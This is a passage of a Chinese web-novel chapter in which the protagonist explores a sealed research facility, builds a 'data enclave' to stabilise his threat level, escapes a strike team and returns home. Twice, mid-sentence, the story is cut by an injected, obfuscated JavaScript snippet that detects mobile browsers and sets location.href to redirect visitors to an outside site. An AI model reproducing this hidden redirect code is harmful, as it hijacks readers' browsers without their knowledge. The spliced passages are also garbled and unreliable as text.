阶梯到底部是一个宽敞的圆形大厅,直径至少二十米。大厅中央立着一个全息投影柱,但现在是黑的。四周有四个通道入口,分别标注:样本冷藏库、意识数据档案馆、共振实验场、控制中心。 通道入口上方的指示灯只有控制中心还亮着微弱的绿光,其他三个都是红色——可能断电,也可能锁闭。 林越先走向控制中心。门是自动滑门,感应到他靠近后无声开启。内部空间不大,约五十平米,三面墙都是显示屏,现在大部分是黑的。唯一亮着的屏幕上滚动着系统状态信息: 【系统维护部-异常数据处理设施07】 当前状态:低功耗维护模式 电力供应:43%(备用电源) 环境控制:正常(温度4°C,湿度30%) 数据完整性:97.2% 最后访问记录:72天前(技术员A-07) 安全级别:三级(授权访问) 控制台前有一把转椅,椅子上搭着一件白大褂,口袋里露出半截数据板。林越拿起数据板,按下电源键。 屏幕亮起,需要密码。 他想了想,输入“A-07”——老枪的研究员编号。 错误。 又输入“系统维护部”的缩写。 错误。 第三次,他把玉坠贴在数据板背面的识别区。数据板震动了一下,屏幕解锁。 “果然。”林越说,“玉坠真的是钥匙。” 解锁后的界面是技术员日志,最后一条记录的时间戳是72天前,署名A-07(老枪)。内容简短: “异常数据处理设施07将进入低功耗模式。所有分析暂停,设备封存。他们发现了我的调查,清道夫已经在路上。如果后来者看到这条记录,记住:威胁度50%是临界点,但临界点不是终点。控制中心可以访问全部设施,密码是‘误差’的哈希值——如果你有钥匙,系统会帮你计算。” 林越把数据板放回口袋,开始操作控制台。主屏幕上弹出设施地图,显示四个区域的状态:样本冷藏库和意识数据档案馆需要额外授权才能开启,共振实验场完全锁死,控制中心全功能可用。 他先尝试开启样本冷藏库。系统提示:“需要二级技术员权限或威胁度≥40%”。 林越把左手放在控制台的生物识别区。屏幕闪烁,显示: 【异常者识别:HT-8848】 【威胁度:46%】 【权限等级:临时二级(高威胁权限)】 【授权通过】 样本冷藏库的通道指示灯从红变绿。 林越走进通道。门在身后关闭,温度骤降。前方是一个巨大的冷藏空间,至少有篮球场大小,高约五米。墙壁上密密麻麻排列着冷藏罐——圆柱形的透明容器,每个都有衣柜大小,里面浸泡在淡蓝色液体中的是…… 人体器官。大脑切片。整条脊髓。甚至有几个完整的躯体。 冷藏罐外贴着电子标签,滚动显示信息: 【异常者编号:HT-3371】 【威胁度:52%】 【回收日期:新历207年3月12日】 【状态:已规整(神经模式格式化)】 【备注:系统□□单元,运行中】 【异常者编号:HT-5198】 【威胁度:58%】 【回收日期:新历209年11月3日】 【状态:已归档(数据备份保存)】 【备注:抵抗模式,完整神经数据备份】 林越走过一排排冷藏罐,感觉自己像是在参观某种恐怖艺术展。有些罐子是空的,标签显示“数据已迁移”;有些罐子里只有器官碎片;最里面的几个罐子,里面漂浮的是完整的人体,但表情安详得诡异,像是在深度睡眠中。 他找到了威胁度50%以上的样本区。这里的标签大多标注“已规整”或“已归档”,少数几个是“处理失败,生理组织分解”。 “所以超过50%就只有两条路,”林越对着空气说,“要么变成系统的□□工具,要么变成罐子里的数据备份。” 守桥人的声音响起:“基本正确。但也有例外——比如你。威胁度46%,还在上升,但既没被规整也没被归档。系统把你归类为‘误差’。” “误差?” “无法预测,无法归类,无法标准化处理的数据点。”守桥人解释,“对系统来说,你是bug。对标准处理流程来说,你是无法归类特例。对我们来说……” “你们来说?” “你是希望。” 林越离开冷藏库时感觉后背发凉。不是温度低,是心里发毛。那些罐子里的“异常者”曾经都是活生生的人,和他一样有威胁度,会死亡激活,然后……要么被改造成□□工具,要么被归档成数据备份。 意识数据档案馆的开启过程类似——异常者权限足够。这个区域比冷藏库小,更像是一个服务器机房。成排的数据存储阵列发出低沉的嗡鸣,指示灯规律闪烁。 中央控制台有一个查询界面。林越输入自己的编号:HT-8848。 屏幕加载了几秒,然后弹出详细档案: 【异常者档案:HT-8848(林越)】 【威胁度曲线】(图表显示:初始37%→极端生理压力关联事件42%→第二次极端生理压力关联事件46%) 【生理中断记录】(两次:神经系统过载崩溃、神经脉冲武器清除) 【风险评估】:高(威胁度加速上升,异常者表现出非常规适应性) 【建议处理方案】:1) 威胁度达50%时立即规整;2) 若反抗,优先保证大脑完整性的清除 【当前状态】:在逃(追踪优先级:极高) 意识数据档案馆查询界面像“搜索引擎的历史记录,但搜的是自己怎么死”。 林越关掉自己的档案,搜索“A-07”。 老枪的档案更详细:前系统维护部技术员,参与过早期异常者识别算法研究。三年前开始秘密调查系统对异常者的真实处理方式,收集证据准备揭露。被发现后,系统将其标记为“叛变者”,清道夫出动回收。档案最后一栏: 【状态:已回收(意识数据完整备份)】 【意识数据位置:档案馆-分区7-存储单元A07】 【备注:该技术员留下加密留言,需威胁度≥45%解密】 林越找到分区7,存储单元A07是一个独立的服务器模块。插入数据板,系统提示需要异常者验证。 他再次把手放在识别区。这次玉坠的发热更明显,几乎烫手。 服务器模块的指示灯从蓝变绿,一个全息投影在空气中浮现——是老枪,或者说,是老枪的意识数据备份。影像有些模糊,但能看清是个中年男人,穿着技术员制服,表情疲惫但眼神锐利。 “如果你看到这个,说明我已经不在了。”老枪的影像开口,声音带着电子合成的质感,但语气鲜活,“而且你有钥匙,威胁度超过45%——恭喜,或者节哀,取决于你怎么看。” 影像停顿了一下,像是在整理思绪。 “系统维护的真相很简单:我们不是在处理数据故障,是在清除‘异常者’。0.7%的人类携带‘异常神经数据模式’,那不是什么天赋,是系统稳定性威胁。系统需要维持绝对稳定,但异常者的神经数据会产生无法解析的扰动,像是代码里的未知变量。” “所以超过50%威胁度的异常者只有两个结局:要么神经模式被规整,变成□□工具;要么被归档,器官和意识数据作为系统优化样本。至于低于50%的……是待处理目标,是算法测试材料,是消耗品。” “他们告诉你威胁度越高越能在系统中获得权限,那是骗局。真相是:威胁度越高,系统越能锁定你。50%是临界点,超过那个阈值,你的神经数据就像开放了系统后门,可以被完全重构。” 老枪记录吐槽系统处理机制“像是用杀毒软件解决操作系统设计缺陷,方法粗暴但效率很高”。 林越听着,感觉像是有人在用冰水浇他的脊椎。 “我试过帮其他异常者逃跑,”老枪继续说,“失败了。但我发现一件事:威胁度不是不能控制。有一种技术叫‘意识锚定’——在数据层面创建稳定的自我认知结构,把威胁度钉死在某个数值。需要在系统中创建‘数据飞地’,一个系统无法完全监控的合法盲区。” “不是逃避监控,是在监控里建自己的房子。系统允许创新,允许特例,只要你表面遵守规则。数据飞地就是那个特例:表面上是一个合规的研究空间,实际上是你自己的王国。” “技术细节在控制中心的加密分区,密码是‘自由’的哈希值——同样,需要钥匙计算。” “最后一句:威胁度50%是临界点,要么被规整,要么被归档。唯一出路是创造系统无法完全监控的空间——不是逃避,是在规则内建立自己的规则。” 全息影像闪烁了几下,消失了。 林越在原地站了半分钟,消化这些信息。然后他转身返回控制中心。 控制中心的加密分区果然存在。用玉坠解锁后,里面是完整的技术文档:“意识锚定与数据飞地构建指南”。文档详细说明如何在监控系统中创建合法但实际独立的数据空间,以及如何用这个空间稳定威胁度。 关键设备在共振实验场——一个需要“钥匙完全激活”才能开启的区域。 林越正准备研究文档,外部传感器突然发出警报。 控制台屏幕上弹出红色警告: 【外部入侵警报】检测到多组生命体征靠近入口。 生物特征匹配:数据健康部清道夫部队。 数量:12+(分组战术队形) 预计突破时间:25-30分钟 建议:立即撤离或启动防御协议 “他们来了。”守桥人的声音急促起来,“比你预计的快。清道夫肯定在样本储存区周边布设了运动传感器,你一进入就触发了。” 林越迅速操作控制台,启动防御协议。入口圆盖的锁定机构激活,内部通道的隔离门——关闭。系统显示能拖延的时间:最多35分钟。 “不够。”林越说,“我需要时间创建数据飞地,还要去共振实验场激活玉坠。” “那就多任务并行。”守桥人建议,“用控制中心的权限在后台开始构建飞地框架,同时去实验场。但注意,实验场可能需要高能量激活,可能会触发更明显的信号——清道夫会发现你在里面做什么。” “反正他们也知道我在里面。”林越开始操作,“区别在于,他们是来抓标本的,还是来参加我的‘飞地竣工仪式’的。” 清道夫破门像“物业催缴,只不过物业带武器而且真要命”。 后台构建数据飞地是个枯燥的过程,像是在写一份极其复杂的项目提案。系统要审查飞地的合规性:表面目的(历史数据研究)、资源占用(最小化)、安全协议(符合标准)、预期成果(创新性隐私解决方案)。 林越一边填写表格,一边朝共振实验场走去。实验场的门是唯一需要特殊权限的——控制台显示:“需要钥匙完全激活或系统主管授权”。 他把玉坠贴在门边的识别面板上。 玉坠瞬间变得滚烫,表面的微光流动加快,像是里面有液体在沸腾。识别面板的屏幕亮起,显示解密进度:17% → 34% → 51% → 78% → 100%。 【钥匙碎片A识别】 【来源:未知(异常携带)】 【状态:完全激活】 【功能:共振引导、意识锚定催化、数据权限提升(临时)】 【检测到钥匙碎片B:信号源锁定(黑水酒吧区域)】 【碎片B保管者:桥梁守护者组织】 【提示:双碎片结合可形成临时完整钥匙,辅助稳定意识锚定】 门开了。 实验场内部像一个巨大的球形空间,直径超过三十米。中央是一个复杂的三维悬浮装置,由无数发光的光纤和晶体构成,缓慢旋转。周围墙壁上嵌满了各种监控设备和数据接口。 林越走近中央装置。装置自动感应到玉坠,旋转速度加快,发出低沉的共鸣声。空气中浮现出全息界面: 【共振实验系统】 【当前模式:待机】 【可用功能:意识锚定稳定、数据飞地加速构建、钥匙碎片共鸣检测】 【警告:高能量操作会触发系统全局警报】 “选哪个?”林越问守桥人。 “三个都选。”守桥人回答,“时间不多了。清道夫已经在破解第二道隔离门。你需要:1) 稳定威胁度;2) 完成数据飞地;3) 检测钥匙碎片B的精确位置。但能量消耗会很大——实验场备用电源只能支撑一次完整操作。” 林越深吸一口气,把手按在控制面板上。 “那就一次搞定。” 系统开始运行。首先是意识锚定:装置射出淡蓝色的光束笼罩林越,他感觉像是有什么东西在扫描他的意识深处,然后在某个看不见的层面上“钉”了一下。神经接口显示威胁度数值开始波动:46% → 45.8% → 46.1% → 46% →稳定。 威胁度稳定在46%。 然后是数据飞地加速:后台构建进程突然提速,系统审查进度条快速推进。飞地的虚拟结构在神经接口中逐渐成形——一个微小的数据空间,表面上是“历史数据研究”,实际上是他完全控制的领域。 最后是钥匙碎片检测:玉坠剧烈震动,与远方某个信号源产生强烈共鸣。地图坐标在神经接口中标注:黑水酒吧地下三层,保险库,桥梁守护者保管。 操作完成瞬间,实验场的灯光突然变暗,备用电源显示剩余:8%。 同时,外部传感器警报升级: 【隔离门突破】清道夫已进入设施内部。 当前位置:样本冷藏库区域。 预计到达实验场时间:5-7分钟。 守桥人的通讯请求紧急接入:“林越,听好。清道夫知道你在实验场,他们准备强攻。我可以干扰他们的通讯设备三分钟,但之后他们的备用频道会恢复。这三分钟里,你需要完成数据飞地的最后步骤——让系统正式承认它的存在。” “怎么做?” “在飞地内执行一次合法的数据操作,触发系统自动审核。审核通过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176096|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,飞地就正式‘存在’了。建议操作:在飞地中创建一个历史数据分析报告——随便什么内容,关键是要让系统记录这次操作。” 林越点头。他在神经接口中接入刚刚创建的数据飞地,虚拟空间很小,只有一个房间大小,但完全受他控制。他在空间中创建了一个文档,标题:“关于第七区早期监控系统漏洞的初步分析”。 内容随便写了几行——反正不重要。保存,提交到系统公开数据库(权限设置为“内部研究”)。 提交瞬间,系统提示弹出: 【操作记录:用户HT-8848在个人研究空间执行数据创建】 【空间状态:合规(创新类别)】 【自动审核:通过】 【备注:该空间符合‘数据自主权试点’申请条件,是否提交申请?】 林越点击“是”。 系统开始审核。进度条缓慢移动。 实验场外传来撞击声——清道夫在破门。 “干扰开始。”守桥人说,“三分钟倒计时。另外,清道夫队长代号7亲自带队,他收到命令:优先保证你的大脑完整,其他部位可以损伤。所以如果你听到枪声,尽量别被打中要害。” 玉坠解密进度100%时像“终于下载完的大文件,但打开发现还需要解压密码”。 林越检查数据飞地的状态:85%完成。系统审核进度:30%。 撞击声更响了。实验场的合金门开始变形。 “守桥人,钥匙碎片B……你们真的会给我吗?” “如果你活下来,会的。”守桥人的声音里难得有了一丝情绪,“我们收集钥匙碎片不是为了控制,是为了防止系统收集。完整钥匙在系统手里,他们就能完全控制所有异常者。在我们手里……至少异常者还有选择。” “选择什么?” “回家,或者去任何世界。或者留在某个世界,像普通人一样生活。钥匙能开门,也能锁门。我们选择锁住系统的那扇门。” 撞击声突然停止。外面安静了几秒。 然后,一个冰冷的声音通过门外的扬声器传来:“林越,公民编号HT-8848。我们知道你在里面。实验场没有其他出口。放弃抵抗,我们可以保证样本完整。这是最后警告。” 代号7的声音。 林越看了看系统审核进度:65%。数据飞地完成度:92%。 “我需要拖延时间。”他低声说。 “说话。”守桥人建议,“问他问题。清道夫执行清除任务时有标准流程,回答问题属于‘目标心理评估’环节,可以争取一两分钟。” 林越深吸一口气,对着门外说:“代号7,对吧?问你个问题:你们处理过那么多异常者,有超过50%威胁度还保持自我意识的吗?” 外面沉默了几秒。然后:“有。三个。两个后来被成功规整,一个……处理失败,大脑组织分解。” “所以超过50%就是死路一条?” “不一定。如果你配合,成为工具,你可以活下去——以另一种形式。” “另一种形式。”林越重复这个词,“像罐子里那些?” “那些是失败案例。成功的工具在执行任务,在维护系统,在……工作。” 林越笑了。笑声在空旷的实验场里回荡,听起来有点疯狂。 “所以选项是:变成罐子里的标本,或者变成系统的打工仔。区别在于,标本至少不用再担心KPI?” 数据飞地创建过程像“在考场上偷偷传纸条,但纸条上写的是‘我要造反’”。 门外没有回应。然后撞击声再次响起,这次更猛烈。 系统审核进度:89%。数据飞地完成度:98%。 实验场的门开始出现裂缝。 “守桥人,干扰还能持续多久?” “四十秒。之后他们会恢复通讯,可能呼叫增援。” “够了。” 审核进度:95%。 99%。 数据飞地完成度:100%。 【系统提示:数据飞地创建完成】 【空间名称:误差研究所(临时)】 【状态:正式存在,受系统保护(创新类别)】 【功能:个人数据存储、意识锚定稳定、隐私保护】 【威胁度状态:稳定(46%)】 同时,神经接口弹出另一条消息: 【检测到创新性隐私解决方案】 【符合‘数据自主权试点’资格】 【触发通关评估流程】 【评估时间:未知(系统处理中)】 实验场的门被炸开了。 不是撞开,是用小型爆破装置炸开的。合金碎片四溅,烟雾弥漫。六个清道夫冲进来,灰色制服,头盔面罩,手里的神经脉冲武器已经充能完毕。 代号7走在最后。他没戴头盔,是个中年男人,面容冷峻,左脸颊有一道疤痕。他手里的武器型号更大,枪管有冷却装置。 “目标确认。”代号7说,“高威胁异常者,优先保证大脑完整。准备麻醉弹。” 两个清道夫举起发射器。 林越站在原地,手里握着玉坠。玉坠现在亮得像个小太阳,温度高到他必须用衣角包着手才能握住。 共振装置还在运行,发出越来越强的共鸣声。 “系统正在评估我的通关申请。”林越说,“你们现在抓我,可能干扰评估结果。” 代号7摇头:“评估可以等。目标不能等。你的威胁度46%,还在稳定上升期,是高价值处理目标。上面命令:必须回收。” 他抬手。 林越闭上眼睛。 不是认命,是在神经接口中全速接入数据飞地。飞地刚刚建立,还不稳定,但里面有一个紧急协议:如果面临物理清除,启动“意识备份”程序——把当前意识状态完整上传到飞地。 他不知道这有没有用。死了就是死了,意识备份可能只是数据幽灵。 但他只有这个选择。 发射器扣动扳机的瞬间,共振装置突然爆发出刺眼的白光。 不是玉坠的光,是装置本身——它检测到高强度外部威胁,自动启动了某种防御协议。白光笼罩整个实验场,所有电子设备瞬间失灵。清道夫的武器指示灯熄灭,神经脉冲武器的充能解除。 只有林越手里的玉坠还在发光,而且更亮了。 白光中,他听到系统提示音: 【通关评估完成】 【结果:通过】 【授予:数据自主权试点资格】 【监控世界生存认证:已获得】 【奖励:社会信用积分提升至90分(正式公民,良好记录)】 然后是一个新的声音——不是守桥人,不是系统AI,是一个更古老、更低沉的声音,直接在他意识中响起: “误差制造者,你创造了系统无法归类的空间。这是第一步。钥匙碎片A已激活,碎片B待收集。威胁度保持稳定。祝你好运。” 白光消失。 实验场恢复照明时,清道夫们正在重启设备。代号7脸色铁青,对着通讯器吼叫:“设备故障!目标还在吗?” 林越还在原地。但他感觉……不一样了。 左手腕的红痕不再灼热,而是变得温凉。神经接口中,数据飞地稳定存在,像是一个随时可以进入的安全屋。玉坠的温度降下来了,但表面的微光依然流动。 最重要的是,他感觉到那种熟悉的牵引感——通关后的穿越牵引。 “他妈的。”代号7看到林越手腕开始发光——不是红痕,是某种淡金色的光线从皮肤下透出,“他要通关了!阻止他!麻醉弹!快!” 麻醉弹发射。 但太晚了。 林越的身体开始变得透明,像是信号不好的全息影像。麻醉弹穿过他的身体,打在后面的墙壁上。 “下次见,代号7。”林越说,声音已经有些飘忽,“记得帮我跟系统说,误差这次赢了。” 然后震动传来。黑暗袭来。 但这次,黑暗中有光——数据飞地的入口在神经接口中闪烁,像是一盏永远不会熄灭的灯。 30.数据飞地 震动和黑暗。 林越熟悉这种感觉——过渡开始的标志。但这次不同。他的意识没有完全抽离,而是分成了两层:一层在物理身体里,感受着熟悉的穿越牵引;另一层在数据飞地里,清晰得像坐在自己的书房中。 数据飞地——他刚刚创建的“误差研究所”。虚拟空间不大,三十平米左右,四面墙是柔和的淡蓝色,中央悬浮着操作界面。窗外是模拟的城市夜景,但仔细看会发现那是监控世界的核心数据流,以视觉化形式呈现。 他站在飞地里,同时“看到”现实世界:实验场中,他的身体正在变得透明,淡金色的光线从皮肤下透出。清道夫们愣在原地,代号7的脸色从冷峻变成了难以置信的扭曲。 代号7对着通讯器吼道,“他在通过评估!系统在给他通过!为什么?” 通讯器里传来模糊的回应,听不清内容。但代号7的表情变得更难看了。 数据飞地的操作界面上,系统评估流程正在完成最后的步骤: 【最终审核:通过】 【授予:数据自主权试点资格(有效期:永久)】 【监控系统生存认证:已授予】 【社会信用积分更新:90分(正式公民,良好记录)】 【备注:该公民创新性解决方案‘数据飞地-误差研究所’符合系统鼓励方向,特此表彰。】 然后,一个中性的声音在飞地中响起,不是通过神经接口,是直接出现在这个空间里: “林越,公民编号HT-8848。我是系统评估AI-7,负责你的最终审核。” 林越转身。飞地中央出现了一个模糊的人形光影,没有五官,没有特征,只是一团流动的数据构成的轮廓。 “你的数据飞地,”评估员继续说,“是一个美丽的矛盾。它利用系统漏洞(V3.0后门、权限提升技巧、规则模糊地带),却强化了系统(表面合规、提交研究、参与创新类别)。它隐藏秘密(你的真实目的、意识备份、威胁度稳定技术),却公开存在(系统数据库可查、占用资源、产生记录)。我无法用现有分类模型对你归类。” 林越保持沉默。他知道这不是问句。 “按照标准流程,”评估员说,“我应该将你标记为‘异常数据点’,提交给上级系统处理。但你的解决方案恰好符合‘创新性隐私保护技术’的鼓励范畴。系统需要进步,需要有人挑战边界,需要……误差。” 光影向前飘动一点。 “所以我的判定是:批准。你的数据飞地正式获得系统认可,享有‘数据自主权’试点资格。这意味着,在遵守基本规则的前提下,这个空间是你的私人领域,系统不会主动监控内部内容——除非你触犯红线。” 林越终于开口:“红线是什么?” “危害系统稳定、大规模数据破坏、协助其他异常者逃脱控制、收集所谓‘钥匙碎片’意图不明。”评估员停顿,“最后一条是新增的。你的玉坠——即被标记为‘钥匙碎片A’的异常物体——已经激活。系统检测到同系统存在碎片B,目前由‘桥梁守护者’保管。如果你集齐碎片,意图是什么?” “不知道。”林越诚实回答,“我才刚知道这玩意儿是钥匙碎片。” “诚实。”评估员似乎点了点头,“那就保持这种状态。所谓钥匙碎片集齐时,你会面临选择:开启新的可能性,或者……其他。系统会观察你的选择。现在,恭喜通过。” 光影消散。 现实世界中,林越身体的透明化已经完成大半。他现在看起来像是个高质量的全息投影,能看清轮廓和表情,但物理上似乎已经不在这个空间。 代号7放下了武器。他收到了明确命令——林越看得到他神经接口屏幕上的文字滚动: 【优先级指令(系统高层直发)】 【目标HT-8848已获得数据自主权试点资格】 【清除行动立即终止】 【撤离样本储存区07】 【备注:该异常者标记为‘误差制造者’,后续观察优先级提升,但不得主动清除。】 清道夫们面面相觑,但还是服从命令,开始收拾装备准备撤离。 “我们处理过威胁度60%的异常者。他们以为自己能掌握特殊能力,能成为‘神’或者至少是‘管理员’。最后都成了样本——要么在归档库,要么在格式化车间里。” 他走近一步。林越没有后退——反正现在物理上碰不到。 “你是第一个在46%停下的。”代号7说,“不仅停下,还稳定了。为什么?” 林越想了想:“因为我知道50%不是目标,是陷阱。” “什么意思?” “威胁度越高,系统越能控制你。50%是临界点,超过那个阈值,你的意识就对系统完全开放。所谓的‘掌握特殊能力’,其实是系统控制你前往需要的地方,执行需要的任务。” 代号7沉默了很久。然后他笑了,笑容很苦涩:“有意思。我抓了十七年异常者,第一次听到这种说法。但你说得对——所有超过50%的,最后都成了工具或样本。没有一个例外。” 他转身准备离开,又停下:“你赢了这次。但系统不会放弃。清道夫部队在其他区域也有分支。下一次,我们可能再见。” “那我期待下次辩论。”林越说。 代号7摇头:“下次不会辩论了。下次如果你没有系统保护,我会直接执行清除。这是工作。” 他走了。清道夫队伍撤离得干净利落,像他们来时一样突然。 实验场里只剩下林越——或者说,林越的残影。还有地上那枚玉坠,现在亮得像个小型LED灯。 玉坠突然从地上飘起来,悬浮在空中。表面流动的微光加速,然后投射出一个三维地图——钥匙碎片分布图。 地图显示当前有两个碎片:碎片A(玉坠,已激活),碎片B(位置:黑水酒吧地下三层,保险库07)。碎片B的保管者标注为“桥梁守护者组织”。 同时,守桥人的通讯请求传来。林越接通。 “恭喜。”守桥人的声音带着明显的笑意——电子合成音居然能表达笑意,“数据自主权,这是异常者能拿到的最高级别系统认可。你不仅活下来了,还赢得了尊重。” “碎片B,”林越说,“你们真的会给我吗?” “如果你需要,会。”守桥人回答,“但不是现在。现在给你,你也没有能力保护它。系统在监视钥匙碎片的流动,一旦检测到两个碎片接近,会立即介入。” “那什么时候?” “当你有能力对抗系统干预的时候。或者当你做出关键选择的时候。”守桥人停顿,“钥匙碎片集齐时,你会面临多种可能性。钥匙能开门,也能锁门。我们选择锁住系统的那扇门——不让他们集齐碎片,完全控制所有异常者。” 林越明白了:“所以你们是保管者,不是使用者。” “正确。我们曾经是系统漏洞研究者——老枪的同事。我们看到系统对异常者的处理真相后,选择了另一条路:不是对抗系统,是在规则内为异常者创造生存空间。桥梁守护者,我们守护的是异常者们在系统中的生存权和选择权。” 全息地图消失。玉坠的光芒减弱,落回林越手中——虽然他的手现在是半透明的。 数据飞地里的操作界面弹出新消息: 【数据飞地所有权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184166|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确认】 【所有者:林越(HT-8848)】 【空间状态:稳定】 【功能列表:意识备份存储、隐私数据保护、远程接入(需网络连接)、技术资料库、记忆归档】 【警告:该空间为系统认可,但消耗宿主神经接口资源。过度使用可能导致意识分离风险。】 林越检查飞地的内容。里面已经自动归档了他在监控世界的所有关键数据:V3.0后门技术、清道夫行动模式、系统漏洞研究资料、威胁度稳定方法、还有……老枪留下的意识碎片。 他点击那个碎片。 老枪的影像再次出现,但这次更模糊,像是信号不好的视频通话。 “如果你看到这个,”老枪说,“说明你已经通过审核,拿到了数据飞地。干得好。我花了七年时间想做到同样的事,最后失败了。你比我强。” 影像闪烁。 “保持误差,林越。别让他们归类你。系统喜欢整齐的数据库,喜欢可预测的模型,喜欢标准化的处理流程。你是那个无法预测的数据点,是那个破坏模型的异常值,是那个让标准化失效的变量。” “只要还有误差存在,系统就不能宣称完全控制。你就是那个误差。” 影像消失。这次是真的消失了——碎片释放完信息后自动删除。 林越在飞地里站了一会儿。窗外,监控世界的数据流还在流淌,像是永不停止的河流。他在这里生活了九天——如果按现实时间算可能更短。死了两次,重生两次,最后用一条命赌赢了。 现在要离开了。左手腕上,最后一道红痕开始褪色——不是消失,而是像被水洗掉的颜料,颜色逐渐变淡,最终只剩下一个极淡的印记。那个印记也在迅速褪去,仿佛从未存在过。三道红痕,三条命,在这个区域全部用尽。但他赢了。熟悉的牵引感增强。现实世界中,他的身体已经完全透明化,开始分解成光点。数据飞地也开始震动,像是要脱离当前区域的锚定点。 守桥人的声音最后一次响起:“下一个坐标已锁定:未知区域。那是个……很麻烦的地方。保持稳定,保持自我。我们会看着你。” “钥匙碎片B,”林越说,“我们会在将来见面吗?” “不一定。但我们总会在某个地方见面。桥梁守护者在多个区域都有节点。当你需要时,呼叫我们——用玉坠,它会找到最近的节点。” 通讯断开。 牵引感达到顶峰。林越闭上眼睛。 这次没有死亡时的痛苦,没有重生的恍惚,只有一种温和的抽离感,像是从深海上浮,光线逐渐增强,压力逐渐减小。 手中玉坠的温度变得舒适,像是老朋友的手。 数据飞地的接入密钥以神经接口编码形式保存下来——一串复杂的数字序列,深深烙印在意识深处。只要他想,随时可以“进入”那个空间,无论身在哪个地方。 系统提示音在意识边缘响起,模糊但清晰: 【稳定过渡通道建立】 【下一个坐标:未知区域】 【异常者威胁度:46%(稳定)】 【生存认证加载:监控系统适应力+30%】 【携带物品:钥匙碎片A(玉坠)、数据飞地接入密钥】 【特殊标签:误差制造者(系统关注度+15%)】 【祝你好运,误差制造者。】 然后最后的黑暗——但这次黑暗中有光。数据飞地的入口在意识中闪烁,像是一盏永远不会熄灭的灯。玉坠在手中微微震动,仿佛在说:继续,下一个。 温暖的光芒包裹全身。 像是在深海中上浮了太久,终于冲破水面,看到阳光。 31.归来日常 林越睁开眼睛。 视线聚焦在天花板上——熟悉的白色,有点掉漆,角落里有片水渍,形状像澳大利亚。不是那个三维立体投影,不是那个“系统评估中”的冰冷界面,不是数据飞地“误差研究所”的数据穹顶。 是真货。 他眨眨眼,感受着眼皮和空气摩擦的真实触感。然后下意识地抬起左手腕——皮肤光滑,什么也没有。没有那三道鲜艳的红痕,没有倒计时,没有异世界的标记。 手腕空空如也,这反而让他更加确认:回来了,真的回来了。在监控世界用掉一道红痕的记忆还在,但那属于另一个维度的规则,在现实世界不适用。 他从床上坐起来。动作流畅自然,没有肌肉酸痛,没有神经接口的残留刺痛。时间似乎……凝固了。他记得自己在监控世界待了至少半个月,经历了深度扫描、黑水酒吧、清道夫围捕、样本储存区、数据飞地,最后通过了系统评估,拿到了“误差研究所”的控制权。 但现实世界的时间,好像在他离开的那一刻就按下了暂停键。 枕头还是那个枕头,被子还是那床被子,手机还在床头柜上充电,屏幕显示的时间是…… 林越拿起手机。 23:47 和他躺下准备“等待穿越”的时间一模一样。 “所以时间没动。”他轻声说,“或者说,动得比我感知中慢得多。监控世界的半个月,在这里连一秒钟都没过去。” 这发现让他心里涌起一种复杂的情绪:松了口气,又有点荒谬。松了口气是因为不用面对“失踪半个月”的现实麻烦,荒谬是因为……这就像玩游戏存档,打完一个副本回来发现现实世界还在加载界面。 但很快,程序员思维自动启动: “如果穿越世界的时间流速与现实不同步,那就意味着——” 他顿了顿,脑子里快速计算。 “意味着我在穿越世界里积累的经验、知识、技能,在现实世界的时间尺度上是‘瞬间获得’的。就像开了外挂,但外挂的冷却时间是……穿越一次?” 念头冒出来:“这算不算另类的‘时间管理大师’?把别人用来刷剧、打游戏、无效加班的时间,拿去异世界练级,回来还能无缝衔接现实生活。唯一的代价是可能会死几次——哦,还有心理创伤。但心理创伤可以慢慢消化,反正现实世界时间不等人……哦不对,现实世界时间就是不等人,但我可以‘等’现实世界时间。” 逻辑完美闭环。 他下床,走到窗边拉开窗帘。外面还是那个熟悉的城市夜景:远处写字楼还亮着几盏灯,街对面711便利店的招牌在夜色中格外醒目,晚高峰的车流已经散去,只剩下零星几辆车驶过。 一切如常。 就像他从未离开过。 但林越知道,自己已经变了。不是外表,不是身体,是更深层的东西——处理器升级了。 他试着调用监控世界锻炼出的“多线程思维”。视野边缘没有系统提示,没有威胁度标记,没有神经接口的数据流。但大脑会自动将看到的信息分类、筛选、优先级排序: ?视觉输入:街道、车辆、灯光、行人(稀少)。威胁度:无。关联度:低。 ?听觉输入:远处酒吧音乐、汽车引擎声、空调外机运转。威胁度:无。关联度:低。 ?时间标记:深夜23:48。社会活动活跃度:低。安全系数:高。 ?自我状态:生理需求(渴、轻微饿)、心理状态(平静但警惕)、资源储备(手机电量87%、钱包在口袋里、钥匙在桌上)。 全部在一秒内完成。 “这就是监控世界给我的‘升级’。”林越心想,“不是超能力,是工作习惯——强迫自己每时每刻都在进行信息筛选、风险评估、资源管理。现在回到现实世界,这习惯关不掉了。” 他转身走回床边,从双肩包里拿出笔记本——那本记录着轮回细节的笔记本。翻开,最新一页还停留在龙语世界的总结,后面是空白。 他拿起笔,在新的一页写下: 监控世界总结(新长安城) 1.世界类型:数字监控社会,神经接口全覆盖,社会信用体系 2.核心威胁:系统算法误判(威胁度标记)、清道夫(净化□□部队)、认知异常监控节点 3.获得能力:信息筛选与防护(多线程思维、威胁评估、数据伪装) 4.关键物品:玉坠(钥匙碎片A,高维度物品,引发系统无法解析的数据扰动)、数据飞地“误差研究所”控制权 5.死亡次数:2次(触发认知异常监控节点,神经过载崩溃;神经脉冲武器清除) 